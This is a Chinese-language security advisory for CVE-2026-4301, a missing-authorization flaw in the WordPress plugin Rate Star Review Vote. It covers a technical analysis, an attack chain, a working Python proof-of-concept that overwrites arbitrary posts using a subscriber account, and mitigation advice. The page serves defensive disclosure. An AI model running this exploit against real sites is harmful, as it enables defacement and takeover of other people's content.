IPBUF安全漏洞报告
English
CVE-2026-4301 CVSS 4.3 中危

CVE-2026-4301: WordPress Rate Star Review Vote插件授权缺失漏洞

披露日期: 2026-05-12

漏洞信息

漏洞编号
CVE-2026-4301
漏洞类型
权限绕过
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Rate Star Review Vote - AJAX Reviews, Votes, Star Ratings

相关标签

WordPress权限绕过CVE-2026-4301插件漏洞IDOR

漏洞概述

WordPress插件“Rate Star Review Vote”在所有版本(包括1.6.4在内)中存在授权缺失漏洞。该漏洞源于AJAX处理函数vwrsr_review()未进行严格的能力检查和Nonce验证,仅依赖用户登录状态。攻击者可利用此漏洞,通过构造特定的请求参数(form=update及rating_id),将任意文章ID传递给wp_update_post()函数。这使得拥有低权限(如订阅者)的认证攻击者能够修改网站上的任意文章或页面的标题、内容、作者、类型及元数据,实现对网站内容的篡改。

技术细节

该漏洞位于插件的AJAX处理逻辑中。当用户发起请求时,vwrsr_review()函数被调用。代码逻辑首先检查is_user_logged_in(),这仅仅确保请求来自注册用户,而未验证用户是否有权限修改特定的文章ID。当检测到form参数为update时,代码直接从$_GET['rating_id']获取用户输入的ID,并将其作为$post_id传递给wp_update_post()函数。此外,代码还会调用update_post_meta()修改元数据。由于缺乏current_user_can()等能力检查,任何登录用户(包括仅具有订阅者权限的用户)都可以调用此函数并覆盖任意文章的内容。这导致了不安全的直接对象引用(IDOR)和权限提升,攻击者可以将目标文章的作者更改为自己,从而获得对文章的完全控制权。

攻击链分析

STEP 1
步骤1:信息收集
攻击者确认目标站点安装了受影响版本的Rate Star Review Vote插件。
STEP 2
步骤2:获取低权限账号
攻击者在目标站点注册一个新账户,通常默认为订阅者级别,或利用已有的低权限账户。
STEP 3
步骤3:会话建立
攻击者使用低权限账户登录,获取有效的WordPress Cookie和Nonce(如果需要,尽管此漏洞缺乏验证)。
STEP 4
步骤4:发送恶意请求
攻击者向/wp-admin/admin-ajax.php发送POST请求,携带action=vwrsr_review,form=update,并将rating_id设置为想要篡改的文章ID。
STEP 5
步骤5:内容篡改
服务器端插件代码处理请求,调用wp_update_post()更新指定文章的内容、作者等信息,完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/wp-admin/admin-ajax.php" login_url = "http://example.com/wp-login.php" # Attacker credentials (Subscriber level) username = "attacker" password = "password" # The ID of the post to be hijacked target_post_id = "1" session = requests.Session() # Step 1: Authenticate payload = { 'log': username, 'pwd': password, 'redirect_to': 'http://example.com/wp-admin/', 'testcookie': '1' } session.post(login_url, data=payload) # Step 2: Exploit the vulnerability # The action triggers the vulnerable function exploit_data = { 'action': 'vwrsr_review', 'form': 'update', 'rating_id': target_post_id, # Arbitrary post ID to modify 'rating_title': 'Hacked by Attacker', 'rating_content': 'This content has been overwritten.' } response = session.post(target_url, data=exploit_data) if response.status_code == 200: print(f"[+] Request sent. Check post ID {target_post_id} for modifications.") else: print("[-] Exploit failed.")

影响范围

Rate Star Review Vote <= 1.6.4

防御指南

临时缓解措施
建议立即将插件更新至修复了该漏洞的版本。如果无法立即更新,应暂时禁用插件,或者在Web应用防火墙(WAF)中配置规则,拦截包含action=vwrsr_review及form=update参数的请求,以阻断攻击路径。

参考链接